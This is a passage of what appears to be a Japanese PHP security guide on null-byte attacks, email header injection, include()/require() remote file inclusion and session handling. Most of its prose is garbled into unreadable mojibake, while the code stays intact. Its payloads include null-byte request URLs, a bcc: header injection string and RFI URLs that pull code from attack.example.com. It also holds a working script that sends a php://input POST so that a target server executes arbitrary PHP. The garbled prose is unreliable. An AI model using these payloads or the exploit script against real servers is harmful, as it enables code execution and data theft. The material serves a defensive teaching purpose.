�Х��ʥꥻ���դǤʤ��ؿ�����Ȥ��ơ������Υե�����̾�� NULL �Х��Ȥ��ޤޤ�Ƥ���� NULL �Х��ȤޤǤ���ʬ��ե�����̾�Ȥ���ǧ������ؿ������湽¤�ˤϡ��ʲ��Τ�Τ�����ޤ�(�����餯�������ʳ��ˤ⤢��Ȼפ��ޤ�)��

�ʲ��� POSIX �ߴ�������ɽ���ؿ��� NULL �Х��Ȥ��ޤޤ�Ƥ���ʸ����������������Ǥ��ޤ���Τǡ�����Ĥ���ɬ�פ�����ޤ���

�ޤ�������ǥХ��ʥꥻ���դ��ѹ����줿�ؿ������湽¤�⤢��ޤ����ܤ����ϡ�PHP 4 ChangeLog �� binary safe �Ȥ���������ɤǸ������Ƥߤ�ȡ�¾�ˤ⤤���Ĥ����Ĥ���ޤ��������δؿ��ϡ�PHP �ΥС������ˤ�ä� NULL �Х��Ȥΰ����򵤤ˤ���ɬ�פ����뤫�⤷��ޤ���

�Ϥκǽ�� | �ܼ���

b. ���ڥ�����

  1. �Х��ʥꥻ���դδؿ������ϥ����å���Ԥ����Х��ʥꥻ���դǤʤ��ؿ�����Ѥ���������Ԥä���������

    PHP-users �᡼��󥰥ꥹ�Ȥ˰ʲ����㤬��Ƥ���Ƥ��ޤ���([PHP-users 12736] null byte attack)

    <?php
    // �ե�����̾: null_byte.php
    // ������: http://example.com/null_byte.php?filename=null_byte.php%00myext
    // �嵭�ι�����Ǥϰտޤ��Ƥ��ʤ�������ץȥ�������ɽ�������
    
    echo '<pre>';
    
    // ���Ѥγ�ĥ�ҤΥե�����Τ߳����ʤĤ���
    if (preg_match('/myext$/', $_GET['filename'])) {
      // ereg�ϥХ��ʥꥻ���դǤϤʤ��Τǡ�\0��ʸ����ν���
      // �Ȥߤʤ��ޤ���ereg��ȤäƤ������null byte attack��
      // �Բ�
      readfile($_GET['filename']);
    }
    else {
      echo "bad file\n";
    }
    ?>
    

    ���Υ�����ץȤΰտޤȤ��Ƥϡ����ꤵ�줿�ե�����̾�� myext �Ȥ�����ĥ�Ҥ��ä���硢���ꤵ�줿�ե������ɽ������Ȥ�����ΤǤ�����Ǥ�դΥե������ɽ�������뤳�Ȥ���ǽ�ˤʤäƤ��ޤ���������Ǥϡ���ʬ����(null_byte.php)��ɽ�����Ƥ��ޤ��ޤ���

    ����ϡ�preg_match() �ϥХ��ʥꥻ���դǤ��뤿�ᡢ�ʲ�����ʬ�� TRUE ���֤��ΤǤ�����

    if ( preg_match( '/myext$/', "null_byte.php\0myext" ) ) {
        ...
    }
    

    readfile() �ϰ����Υե�����̾�� NULL �Х��Ȥ򰷤��ʤ����ᡢNULL �Х��Ȱ����ޤǤ�ͭ����ʸ����Ȥ��Ƥߤʤ��ޤ���

    readfile( "null_byte.php\0myext" );    // "\0" �� NULL ����

    ��ɡ��ʲ���̿���¹Ԥ���Τ�Ʊ����̤ˤʤäƤ��ޤ��ޤ���

    readfile( "null_byte.php" );

    ����������褹����ˡ�Ȥ��ơ�preg_match() ������ˡ�ereg() ����Ѥ�����ˡ���󤲤��Ƥ��ޤ����ʲ��Τ褦�� ereg() ����Ѥ�����硢if ʸ�η�̤� FALSE �ˤʤ�ޤ��Τǡ�����ϵ�����ޤ���

    if ( ereg( 'myext$', "null_byte.php\0myext" ) ) {
        ...
    }

    �ޤ��ϡ�preg_match() �Ǿ�ά�����ˡ�ʸ�������Ƭ����������ʸ����Τߤǹ�������Ƥ��뤫���ǧ����Ȥ�����ˡ�⤢��ޤ���NULL �Х��Ȥ��ޤޤ�Ƥ��ʤ����Ȥ��ݾڤ��뤿�ᡢ���Ĥ���ʸ������ꤹ��ɬ�פ�����ޤ�(�����Ǥϡ�\w(0-9, a-z, A-Z, -��ޤ�) ����Ѥ��Ƥ��ޤ���Ǥ�դ�ʸ���Ǥ��� "." ����Ѥ���Ȱ�̣���ʤ��ʤ�ޤ�)����Ȥ��ơ�preg_match() ����Ѥ��Ƥ��Ƥ⡢�ʲ��Τ褦�ˤ���� if ʸ�� FALSE ���֤��ޤ���

    if ( preg_match( '/^\w+\.myext$/D', "null_byte.php\0myext" ) ) {
        ...
    }
    
  2. �Х��ʥꥻ���դǤʤ��ؿ������ϥ����å���Ԥ����Х��ʥꥻ���դδؿ�����Ѥ���������Ԥä����

    �㤨�С��ʲ��Τ褦���㤬�ͤ����ޤ����̾�� POST ����Ѥ��ƥե��������������Ȼפ��ޤ�����ʬ����䤹�����뤿��� GET ����Ѥ��Ƥ��ޤ���

    <?php
    $file = '/tmp/test.txt';
    if ( ! empty( $_GET ) ) {
        $name = ereg_replace( "\t|\n", " ", $_GET['name'] );
        if ( ereg( "^[0-9]{3}-[0-9]{4}$", $_GET['zip'] ) ) {
            $fp = fopen( $file, is_file( $file ) ? "a" : "w" );
            fwrite( $fp, $name . "\t" . $_GET['zip'] . "\n" );
            fclose( $fp );
        }
        else {
            echo '�����ʥǡ��������Ϥ���ޤ�����';
        }
    }
    ?>
    <form method="get" action="<?php echo htmlspecialchars( $_SERVER["SCRIPT_NAME"] ) ?>">
        ̾�� : <input type="textbox" name="name" />
    ͹���ֹ� : <input type="textbox" name="zip" />
    <input type="submit" value="����">
    </form>
    <pre>
    <?php
    $data = is_file( $file ) ? file( $file ) : exit( '�ǡ���������ޤ���' );
    foreach ( $data as $line ) {
        list( $name, $zip ) = explode( "\t", $line );
        echo htmlspecialchars( $name . ":" . $zip );
    }
    ?>
    </pre>
    

    ���Υ�����ץȤϡ�̾����͹���ֹ�򥿥ֶ��ڤ�ǥ����å����̲ᤷ���ǡ�����ե�������ɲä��Ƥ��������Τ�ΤǤ���

    �����å��ؿ��Ȥ��ơ�ereg_replace() �� ereg() ����Ѥ��Ƥ��ޤ����������δؿ��ϥХ��ʥꥻ���դǤϤʤ����ᡢ�ʲ��Τ褦�� URI �����Ϥ��줿��硢2��ʬ�Υǡ��������Ϥ���ǽ�ˤʤꡢ2���ܰʹߤϥǡ����Υ����å����Ԥ��ʤ����Ȥˤʤ�ޤ�("%00" �� NULL �Х��ȡ�"%0A" �ϲ��ԥ����ɡ�"%09" �ϥ��֤Ǥ�)��

    http://example.com/input.php?name=test1&zip=000-0000%00%0Atest2%09zipcode

    ereg() �ؿ��ǥ����å���Ԥ���ʬ�ϰʲ��ν�����Ԥ����Ȥˤʤ�ޤ���ereg() �Ǥϡ�NULL �Х��ȤޤǤ���ǧ�����ʤ����ᡢ���� if ʸ�� TRUE �ˤʤꡢ�ե�����ؤ��ɵ����Ԥ��ޤ���

    if ( ereg( "^[0-9]{3}-[0-9]{4}$", "000-0000\x00\x0Atest2\x09zipcode" ) ) {

    �ǡ����ե�����ϰʲ��Τ褦�ˤʤ�ޤ���"\t" �ϥ��֡�"\0" �� NULL �Х��ȤǤ���NULL �Х������äƤ��ޤ��������ιԤ˥ǡ������ɲäǤ��Ƥ��ޤäƤ��뤳�Ȥ�ʬ����ޤ���

    test1\t000-0000\0
    test2\tzipcode
    

    ���ξ�硢�Х��ʥꥻ���դǤʤ� ereg �Ϥδؿ��Ǥ� NULL �Х��Ȥ򰷤��ʤ����ᡢ�Х��ʥꥻ���դǤ��롢preg �Ϥδؿ�����Ѥ��ơ��������򤹤�ɬ�פ�����ޤ���

    ������ʬ(4,5����)��ʲ��Τ褦�� preg �Ϥδؿ�����Ѥ���褦�˽�������С���������ϲ���Ǥ��ޤ���

        $name = preg_replace( "/\t|\n/", " ", $_GET['name'] );
        if ( preg_match( "/^[0-9]{3}-[0-9]{4}$/D", $_GET['zip'] ) ) {
    

�Ϥκǽ�� | �ܼ���

c. �н���ˡ

NULL �Х��Ȥ����������ʣ���Ǥ��뤿�ᡢ���̤��н褹��ˤϡ����Ƥδؿ��ˤĤ��ƥХ��ʥꥻ���դǤ��뤫�ɤ�����Ĵ�٤�ɬ�פ����ꡢ���˼�֤��ݤ���ޤ����⤷��������������Ϥ�ʸ����ǡ��ƥ����ȥǡ����Ǥ��뤳�Ȥ�ʬ���äƤ���ΤǤ���С�NULL �Х��Ȥ����Ƽ��������ȤǴ�ñ���н�Ǥ��ޤ���

$_POST, $_GET, $_COOKIE �ˤĤ��Ƥϡ�����Ū�ˤ�ʸ����Υƥ����ȥǡ��������äƤ��ޤ��Τǡ��ʲ��δؿ������ѤǤ��ޤ���������ץȤκǽ��Ŭ�Ѥ���С�������Ŭ�Ѥ����ѿ��� NULL �Х��Ȥ�����򵤤ˤ���ɬ�פ��ʤ��ʤ�ޤ������������Х��ʥ�ǡ������ޤޤ���ѿ��˻��Ѥ�����硢�ǡ������˲�������ǽ��������ޤ��Τǡ����դ��Ƥ���������

�ޤ������ܸ�Ǥ褯���Ѥ����ʸ�������ɥ��åȤǤ��롢EUC-JP��Shift_JIS��ISO-2022-JP��UTF-8 �Ǥϡ�NULL �Х��Ȥ�ʸ����˴ޤޤ�뤳�Ȥ�̵���Ϥ��Ǥ���������ʳ���ʸ�������ɥ��åȤǤ� NULL �Х��Ȥ��ޤޤ���ǽ��������ޤ��Τǡ����ξ��� NULL �Х��Ȥ��ޤޤ�ʤ����Ȥ��ǧ���Ƥ�����Ѥ��Ƥ����������⤦��Ĥ����դȤ��ơ����δؿ���Ŭ�Ѥ������줾���������ѿ���ʸ����ˤʤäƤ��ޤ��ޤ��Τǡ����򵤤ˤ���ɬ�פ�������Ϸ��˱�����Ŭ���˽�������ɬ�פ�����ޤ���

function delete_nullbyte( $arr )
{
    if ( is_array( $arr ) ) {
        return array_map( 'delete_nullbyte', $arr );
    }
    return str_replace( "\0", "", $arr );
}

$_GET    = delete_nullbyte( $_GET );
$_POST   = delete_nullbyte( $_POST );
$_COOKIE = delete_nullbyte( $_COOKIE );

�Ŀ�Ū�ˤϡ����ϥ����å�������ɽ������Ѥ�����ϡ�ereg �Ϥ� POSIX �ߴ�������ɽ���ؿ��ϻ��Ѥ����ˡ�preg �ǻϤޤ� Perl �ߴ�������ɽ���ؿ�����mb_ereg �ǻϤޤ�ޥ���Х�������ɽ���ؿ�����Ѥ������������Ǥ���Ȼפ��ޤ��������������1���ܤ���ˤ⤢��褦�ˡ�NULL �Х��Ȥ��ޤޤ�Ƥ����ǽ�����θ����ȡ�ʸ����κǽ���ʬ�����Ǥʤ�����Ƭ����ʸ�������Τ�����å�����ɬ�פ�����ޤ���

�ޤ�������ɽ���ˤ��ʸ����Υ����å������ǤϤʤ����ɤ߹���ե�������������ϥǡ���������ꤹ��ΤǤ���С�is_file() �䡢basename() �ʤɤ��Ȥ߹�碌�ơ��μ¤˰տޤ��Ƥ���ǥ��쥯�ȥ꤫��ե�������ɤ߹���褦�ˤ��Ƥ����Ȱ����Ǥ���

�Ϥκǽ�� | �ܼ���

d. ����¾

����¾��NULL �Х��Ȥ˴�Ϣ���� PHP �Υ������ƥ�����Ȥ�����𤵤�Ƥ����Τ������Ĥ�����ޤ���

�Ϥκǽ�� | �ܼ���

e. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


Email �إå������󥸥��������(Email header injection)

  1. ����
  2. ���ڥ�����
  3. �н���ˡ
  4. ����
  5. ���ͥ�����

a. ����

mail() �� mb_send_mail() �ؿ��Ǥϡ���4�������ɲäΥإå�����ꤹ�뤳�Ȥ��Ǥ��ޤ����������˳����������Ϥ��줿�ǡ������ɲä����硢��������������ѿ��Υ����å���ԤäƤ��ʤ���Ǥ�դΥ᡼��إå���᡼����ʸ���ɲäǤ��Ƥ��ޤ��Ȥ������꤬����ޤ���

�Ϥκǽ�� | �ܼ���

b. ���ڥ�����

�ʲ��Τ褦�� mail() �ؿ�����Ѥ��Ƥ�����硢$_POST['from'] ��������ʸ�������Ϥ��줿��硢Ǥ�դΥ᡼��إå���᡼����ʸ�����Ϥ��뤳�Ȥ���ǽ�Ǥ���

$from = $_POST['from'];
$header = 'From: ' . $from . "\n";
mail( $to, $subject, $message, $header );

�㤨�С�$_POST �˰ʲ��Τ褦��ʸ�������Ϥ���Ƥ�����硢bcc: �˻��ꤷ�����ɥ쥹�ˤ�᡼������������뤳�Ȥ���ǽ�Ǥ���

[email protected]\nbcc:[email protected]\n

�Ϥκǽ�� | �ܼ���

c. �н���ˡ

�㤨�С��ʲ��Τ褦������ɽ���ʤɤˤ�ä����Ϥ����������ɤ�����Ƚ�ꤹ�뤳�Ȥ��н��ǽ�Ǥ���ɬ�פ˱������н��ԤäƤ���������

$from = $_POST['from'];
if ( ! preg_match( '/^[-.\w]+@([-\w]+\.)\w+$/D', $from ) ) {
    // ������ʸ�������äƤ������ν���
    exit;
}
$header = 'From: ' . $from . "\n";
mail( $to, $subject, $message, $header );

�Ϥκǽ�� | �ܼ���

d. ����

PHP 5.1.0 �� PHP 4.4.2RC1 ������ΥС������� mb_send_mail() �ؿ�������Ȥ��ơ�mail() �ؿ��ǤϹԤ��Ƥ��� To: (��1����) �β��ԥ����ɤκ���� mb_send_mail() �ǤϹԤ��Ƥʤ��Ȥ������꤬��Ŧ����Ƥ��ޤ������Τ��ᡢTo: �˲��ԥ����ɤ��ޤޤ������ʤ��褦�ˤ���ɬ�פ�����ޤ���

To: �ˤϥ᡼�륢�ɥ쥹��������ʤ��褦�˳�ǧ����ʤɤ��н��ԤäƤ���С����ԥ����ɤ�����ޤ���Τǡ��ä˵��ˤ���褦������ǤϤ���ޤ���

�Ϥκǽ�� | �ܼ���

e. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


PHP �� include(), require() ��Ϣ������ˤĤ���

  1. ����
  2. ���ڥ�����
  3. �н���ˡ
  4. ����Τ���ѥ����ȥ�С������к�
  5. allow_url_fopen �� Off �ˤ����н�ˤĤ��Ƥ�����
  6. allow_url_include
  7. PHP �Υ�����ɾ���ؿ��Ǥ�����ˤĤ���
  8. ���ͥ�����

a. ����

PHP �� include(), include_once(), require(), require_once() �ϡ������ե�������ɤ߹��ߡ�ɾ���������湽¤�Ǥ������������Ϥ������� http://... �� ftp://... �ʤɤ� URI ���Ϥ����Ȥ��ǽ�Ǥ�����������ե����뤬 PHP ������ץȤ��ä���硢���Υ�����ץȤ�¹Ԥ��Ƥ��ޤ��ޤ��Τǡ�include() �� require() ���Ϥ������ˤ����դ�ɬ�פǤ���

PHP �Ǥϡ�include_path �����ꤷ��GET �ѿ��� POST �ѿ��ʤɤΰ����ˤ���ɤ߹���ե�������ڤ��ؤ���Ȥ�����ˡ���褯�Ȥ��Ƥ���Ȼפ��ޤ������桼����������ϥ����å����������Ԥ�ʤ��ȡ���������Ǥ�դΥ�����ץȤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ���

�ޤ���allow_url_fopen �� Off �����ꤹ�뤳�Ȥ� include(), require(), fopen �ʤɤˤ�볰�������Фؤ���³��ػߤ��뤳�Ȥ��ǽ�Ǥ�����allow_url_fopen �� Off �ˤ��Ƥ��Ƥ⡢Ǥ�դΥ�����ץȤ�¹Ԥ�������ˡ�⤢��ޤ�(php://input ����Ѥ�����ˡ)�Τǡ���ʬ�����ϥ����å���Ԥ���include() �� require() �����ꤷ�Ƥ��ʤ�ʸ�����Ϥ�褦�ʤ��Ȥ��ʤ��褦�ˤ��Ƥ���������

�Ϥκǽ�� | �ܼ���

b. ���ڥ�����

�ʲ��Τ褦�ˡ������Υ����Ф˼¹Ԥ����� PHP ������ץȤ�������ޤ����㤨�С�http://attack.example.com/exec.txt �ˡ��ʲ������Ƥ��񤫤�Ƥ����Ȥ��ޤ���

<?php phpinfo() ?>

�ޤ��������оݤΥ�����(http://www.example.com/index.php)�ǰʲ��Τ褦�ʥ�����ץȤ����֤���Ƥ����Ȥ��ޤ���

<?php
include( $_GET['file'] );
?>

�֥饦������ʲ��Τ褦�ʥꥯ�����Ȥ�Ԥ��ȡ������оݤΥ����Ф� http://attack.example.com/exec.txt �ǽ񤫤�Ƥ��륳���ɤ��¹Ԥ���ޤ���

http://www.example.com/index.php?file=http://attack.example.com/exec.txt

�ޤ���include() �� require() �Ǥϡ�NULL �Х��Ȥαƶ�������ޤ��Τǡ��ʲ��Τ褦�ˡ����ꤵ�줿��ĥ�ҤΥե�������ɤ߹��ळ�Ȥ����ꤷ�Ƥ������Ǥ⡢

<?php
include( $_GET['file'] . '.inc.php');
?>

���Τ褦�� NULL �Х��Ȥλ����ޤ���ꥯ�����Ȥ������ȡ������Υ����ɤ�¹Ԥ��뤳�Ȥ���ǽ�ˤʤäƤ��ޤ��ޤ���

http://www.example.com/index.php?file=http://attack.example.com/exec.txt%00

�ʾ������ϡ�allow_url_fopen �� Off �ˤʤäƤ�����硢���������Фˤ��� PHP ������ץȤ�¹Ԥ��뤳�ȤϤǤ��ޤ��󤬡�/etc/passwd �ʤɡ���������ե�����ˤ�����פʥե�������ɤ߹����ɽ�����Ƥ��ޤ���ǽ��������ޤ���include() �� require() ���Ϥ������Ͻ�ʬ�����ϥ����å���ԤäƤ���������

�ޤ���include() �� require() �ΰ����� php://input ���Ϥ����ȡ�POST �����Ƥ� PHP ������ץȤȤ��Ƽ¹Ԥ��Ƥ��ޤ�����⤢��ޤ�������ϡ�[PHP] include() bypassing filter with php://input (2004.05.30 �β�����)�ǤޤȤ�Ƥ��ޤ��������ξ�硢�����˥����Ф��Ѱդ��ʤ��Ƥ�Ǥ�դΥ�����ץȤ�¹Ԥ��뤳�Ȥ���ǽ�Ǥ���ɬ����php://input �� include() �� require() �ΰ����Ȥ����Ϥ�ʤ��褦�˥����å���ԤäƤ���������

php://input �ˤ�äơ�POST �����Ƥ� PHP ������ץȤȤ��Ƽ¹Ԥ���Ƥ��ޤ��Ȥ�����ǽ�� 2006.01.04 �����κǿ��ǤǤ��롢PHP 4.4.1 �� PHP 5.1.1 �Ǥ��ѹ�����Ƥ��ޤ���

���ڥ����ɤϰʲ��Τ褦�ˤʤ�ޤ���send �ܥ���򲡤��ȡ�exec �Υƥ����ȥܥå��������Ϥ���Ƥ������Ƥ��оݤΥ����ФǼ¹Ԥ���ޤ���

<?php
if ( isset( $_GET['include'] ) ) {
    include( $_GET['include'] . '.php' );
    exit;
}
?>
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>?include=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo htmlspecialchars( '<?php phpinfo() ?>' ) ?>" /></div>
<input type="submit" value="send" />
</form>
<?php
if ( ! empty( $_POST ) ) {
    $file   = ! empty( $_POST['file'] )   ? $_POST['file']   : '';
    $server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
    $cmd    = ! empty( $_POST['cmd'] )    ? $_POST['cmd']    : '';

    $message  = "POST " . $file . "php://input%00 HTTP/1.1\r\n";
    $message .= "Host: " . $server . "\r\n";
    $message .= "Content-length: " . strlen( $cmd ) . "\r\n";
    $message .= "Connection: close\r\n\r\n";
    $message .= $cmd . "\r\n";

    $fp = fsockopen( $server, 80 );
    fputs( $fp, $message );
    while ( ! feof( $fp ) ) { echo fgets( $fp ); }
    fclose( $fp );
}
?>

�Ϥκǽ�� | �ܼ���

c. �н���ˡ

�ʲ��Τ褦�����ϥ����å���Ԥ������곰�����Ϥ�����դ��ʤ��褦�ˤ��Ƥ����������ʲ������Ƥ��Ȥ߹�碌�����ꤷ���������ƤˤʤäƤ��뤫�ɤ������ǧ����Ȥ����������⤯�ʤ�Ȼפ��ޤ���

¾�ˤ⤤���������н���ˡ���ͤ����ޤ���ɬ�פȹͤ������ǧ��ԤäƤ����ѿ�����Ѥ��Ƥ���������

�Ϥκǽ�� | �ܼ���

d. ����Τ���ѥ����ȥ�С������к�

�Ϥκǽ�� | �ܼ���

e. allow_url_fopen �� Off �ˤ����н�ˤĤ��Ƥ�����

php.ini ������� allow_url_fopen �� Off �ˤ��ơ�PHP ���鳰���ؤΥ���������ػߤ���� include() �� require() �dz����Υ�����ץȤ��ɤ߹��ळ�ȤϤǤ��ʤ��Τǰ����ȹͤ��Ƥ���ͤ����뤫�⤷��ޤ��󤬡����������Ԥ��а����Ȥ�����ΤǤϤ���ޤ���PHP 5.2.0 �����ξ�硢allow_url_fopen �� On/Off �˷���餺����ʬ�����ϥ����å���ԤäƤ���������PHP 5.2.1 �ʹߤξ��ϡ�allow_url_include �������̵���ˤ��Ƥ����Ф��ΤۤȤ�ɤξ�硢����ˤϤʤ�ʤ��Ȼפ��ޤ���

�ʲ������꤬����ޤ���

�Ϥκǽ�� | �ܼ���

f. allow_url_include

PHP 5.2.0 ���� php.ini ������� allow_url_include ���ɲä���ޤ������ǥե���ȤǤ�̵�������ꤵ��Ƥ��ޤ���

�������꤬ͭ���ˤʤäƤ�����Τߡ�include()��include_once()��require()��require_once() �� URL �б��� fopen ��åѡ������ѤǤ���褦�ˤʤ�ޤ���

PHP 5.2.0 �Ǥϡ�allow_url_include ��̵���ˤ��Ƥ� data: ����� php: ���ȥ꡼���åѡ��ϻ��Ѳ�ǽ�Ǥ��ꡢinclude() ��php://input �� data:text/plain;charset=,<?php phpinfo() ?> �Τ褦��ʸ����������ळ�Ȥǡ���⡼�Ȥ��� PHP ������ץȤ�¹Ԥ����뤳�Ȥ���ǽ�Ǥ�����

PHP 5.2.1 ����ϡ�allow_url_include = Off �ˤ��Ƥ����� data: ����� php: �Υ��ȥ꡼���åѡ���̵���ˤʤ�ޤ����̾include() �ʤɤdz������� PHP �ե�����ʤɤ��ɤ߹���Ǽ¹Ԥ���Ȥ������ȤϤʤ��Ȼפ��ޤ��Τǡ�ɬ��̵�������ꤷ�Ƥ����٤�������Ȼפ��ޤ���

�Ϥκǽ�� | �ܼ���

g. PHP �Υ�����ɾ���ؿ��Ǥ�����ˤĤ���

PHP �Ǥϡ��ʲ��Τ褦��ʸ����򥳡��ɤȤ���ɾ�����롢�ޤ��ϡ�������Хå��ؿ���ưŪ�˺�������Ŭ�Ѥ���ؿ���¸�ߤ��ޤ���������󤲤�ȡ��ʲ��Τ褦�ʴؿ�������ޤ���

�����δؿ��������Ǥ�����PHP �Υ����������䡢������Хå��ؿ�̾�˳�����������Ϥ���Ѥ��Ƥ����硢�����ѿ��������̤�ˤʤäƤ��뤳�Ȥ��ǧ���Ƥ����ѿ�����Ѥ��Ƥ���������Ƚ��ʸ�ˤϡ�switch ������ɽ���ʤɤ����Ѥ�����ɤ��Ȼפ��ޤ���

�äˡ�eval() �ؿ��ʤɤϲ�ǽ�Ǥ���С����Ѥ��ʤ��褦�ˤ������������Ǥ���eval() �ؿ��ˤ�� PHP �����ɤ��¹Ԥ���Ƥ��ޤ��Ȥ�������Τ��ä����ץꥱ��������饤�֥���¿���������ɤ�������Ǥ��뤫�ɤ�����Ƚ�Ǥ���Τ������񤷤��ȹͤ����ޤ���

�Ϥκǽ�� | �ܼ���

h. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


PHP �ǥ��å�����ѿ���Cookie ����Ѥ���ݤΥ������ƥ��к��ˤĤ���

  1. ���å�����ѿ��ˤĤ���
  2. PHP �Υ��å���������ư��
    1. ���å����γ���
    2. ���å����ν�λ
    3. ���å�����ͭ������
    4. �����١��������쥯�����
  3. Cookie �� secure °��
  4. Cookie Path
  5. ���å���� ID ���ѹ�
  6. ���å���󡦥����ॢ���Ȥؤ��н�
  7. ���å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ�������
  8. ���å����ϥ�����å��к��ΰ���
  9. Session Fixation(���������)����
    1. Session Fixation ����򵯤�����ˡ
    2. ���ͥ�����
  10. ���ͥ�����

a. ���å�����ѿ��ˤĤ���

Web �ڡ����֤��ѿ����ݻ�������ˡ�Ȥ��ơ��ե������ hidden �ե�����ɤ� Cookie�����å�����ѿ��ʤɤ����Ѳ�ǽ�Ǥ��������פʥǡ����μ����Ϥ���Ԥ���硢���å�����ѿ�����Ѥ��ޤ���

���å�����ѿ��ϡ��桼�������������줿���׾���򥵡���¦����¸��������ˡ�Cookie �䡢GET �ѿ���POST �ѿ��˥��å���� ID �ȸƤФ�롢����Ū�˿�¬���ˤ���ʸ����򥯥饤����Ȥ˻������뤳�Ȥǥ��å�����ݻ����ޤ�������ˤ�ꡢ���פʥǡ�����¾�Υ桼���˻��Ȥ��줿�ꡢ�����󤵤줿�ꤹ���ǽ�����㤯���뤳�Ȥ��Ǥ��ޤ���

���å�������Ѥ���ݤΥ������ƥ�����Ȥ��Ƥϡ����å���� ID ��¾�Υ桼������ޤ�륻�å����ϥ�����å��Ȥ������꤬����ޤ������å���� ID �ϡ��֥饦���ΥХ��䡢�����������ȥ�����ץƥ��󥰤ˤ�ä�¾�Υ桼������ޤ���ǽ��������ޤ���Web ���ץꥱ�������ǥ��å���� ID ����Ѥ�����ϡ���ñ�˥��å���� ID ����ޤ�ʤ��褦�ˤǤ���¤���к���Ԥ�ɬ�פ�����ޤ���

�Ϥκǽ�� | �ܼ���

b. PHP �Υ��å���������ư��

���å����ˤĤ��Ƥΰ���Ū�ʵ�ǽ�ˤĤ��Ƥϡ�PHP �ޥ˥奢�� : ���å��������ؿ�(session) �򻲾Ȥ��Ƥ������������å�����ѿ�����Ѥ���ݤ� PHP ��ư��ˤĤ��ƽ�ʬ���򤷤Ƥ����������ɤ��Ȼפ��ޤ��Τǡ����ޤ� PHP �ޥ˥奢��ǿ�����Ƥ��ʤ���ʬ�Ƚ��פ��Ȼפ�����ʬ�ˤĤ��ƤޤȤ�Ƥߤޤ�����

PHP �ǤΥ��å��������ϥС������ˤ�äƾ����㤤������ޤ��Τ����դ��Ƥ����������ޤ���session_set_save_handler() ����Ѥ��ơ��ȼ��Υ��å���������Ԥ����ϻ��ͤˤʤ�ʤ���ʬ������ޤ��������Ǥϡ�PHP 4.3.9 �dz�ǧ����ư��ˤĤ��ƤޤȤ�Ƥ����ޤ���

i. ���å����γ���

PHP �ǥ��å�����ѿ�����Ѥ����硢session_start() �ؿ���ƤӽФ�ɬ�פ�����ޤ����⤷��php.ini �� session.auto_start �� "1" �����ꤷ����硢��ưŪ�˥��å���󤬳��Ϥ���ޤ��Τ� session_start() ��ƤӽФ�ɬ�פϤ���ޤ���

���å����γ��ϻ��ˤϡ��ʲ��ν������Ԥ��ޤ���

������ץȤν�λ��(���ϻ�)�ˤϰʲ��ν������Ԥ��ޤ���

���å�����ѿ�����¸�����ΰ�ϡ��ʲ�������ˤ�äƷ��ꤵ��ޤ����ǥե���ȤǤϡ�/tmp �� sess_dbfca507eb62b716bc2b8296159ccb15 (sess_ �� ���å���� ID)�Τ褦�ʥե����뤬��������ޤ���

���å���� ID �� Cookie -> GET -> POST �ν�� session.name(�ǥե���ȤǤ� "PHPSESSID") �ǻ��ꤵ�줿�����򸡺����ޤ����㤨�С�Cookie($_COOKIE['PHPSESSID']) �� GET �ѿ�($_GET['PHPSESSID'])���̤Υ��å���� ID �����ꤵ��Ƥ�����硢Cookie �Υ��å���� ID ��ͥ�褵��ޤ���

�ޤ���PHP 4.3.0 ����Ƴ�����줿 session.use_only_cookies �� "1" �����ꤹ��ȡ����å���� ID �Ȥ��� Cookie �Τߤ��ǧ����褦�ˤʤ�ޤ�������ϡ�PHP �ޥ˥奢��Ǥϡ����å���� ID �� URL �������๶����ɤ�����Ȥ���Ƥ��ޤ�(���å��������ؿ�(session) session.use_only_cookies)�����å����� Cookie �ΤߤǴ�������ΤǤ���С�session.use_only_cookies �� On �����ꤷ�Ƥ����ȡ�Session Fixation ������ɻߤǤ����ǽ�����⤯�ʤ�ޤ�(�����������ȡ�������ץƥ��󥰤���ǽ�ʾ��� Cookie �����Ƥ�����󤵤���ǽ��������ޤ��Τǡ����Ф˰����Ȥ����櫓�ǤϤ���ޤ���)�����������Ԥ��ȡ�session.use_trans_sid �ε�ǽ��̵��̣�ˤʤ�ޤ��Τǡ����ξ��� session.use_trans_sid ��̵���ˤ��Ƥ������ɤ��Ȼפ��ޤ���

GET �˥��å���� ID ��ޤ�뤳�Ȥ��������ˤĤ��Ƥϡ�PHP �ޥ˥奢��ǰʲ��Τ褦�˲��⤵��Ƥ��ޤ���

URL �˴�Ť����å��������ϡ�Cookie�˴�Ť����å�����������٤ƥ������ƥ��ꥹ�����礭���ʤ�ޤ����㤨�С��桼���ϡ�email�ˤ��ͧ�ͤ˥����ƥ��֤ʥ��å����ID��ޤ�URL�����������ǽ�������ꡢ�ޤ����桼���ϼ�ʬ�Υ֥å��ޡ����˥��å����ID��ޤ�URL����¸�������Ʊ�����å����ID�ǻ��Ѥ��륵���Ȥ˥������������ǽ��������ޤ���

PHP �ޥ˥奢��: ���å��������ؿ�(session) session.use_trans_sid

�Ǹ�ˡ�session.use_trans_sid �ˤĤ��ƤǤ�����PHP 4.3.1 �ʲ��ΥС������Ǥϡ����å���� ID �˥�����ޤ��ȥ����������ȥ�����ץƥ��󥰤���ǽ�ˤʤäƤ��ޤ���������𤵤�Ƥ��ޤ��Τǡ�PHP 4.3.1 �ʲ��Ǥϡ�session.use_trans_sid ��ͭ���ˤ��ʤ��Ǥ���������

ii. ���å����ν�λ

���Τ˥��å���󤬽�λ������Ƚ�ꤹ�뤳�Ȥ��񤷤��Ǥ������桼�������å����ν�λ�����(�㤨�С����������Ȥ���ʤ�)�������ϡ�session_destroy() �ؿ���ƤӽФ����Ȥǡ������Ф���¸���줿���å��������˴�����ޤ���

PHP �ޥ˥奢�� : session_destroy() �ˤ��ȡ����å����˴ؤ��륰�����Х��ѿ��䡢���å���� Cookie ���˴����ʤ��Ȥ���Ƥ��ޤ����ºݤˡ�session_destroy() ���ƤӽФ��줿��⡢Ʊ�����å���� ID ����³���ƻ��Ѥ���ޤ���

�����˥��å������˴�������ϡ�PHP �ޥ˥奢�����˽��äƽ�����Ԥ��ޤ���

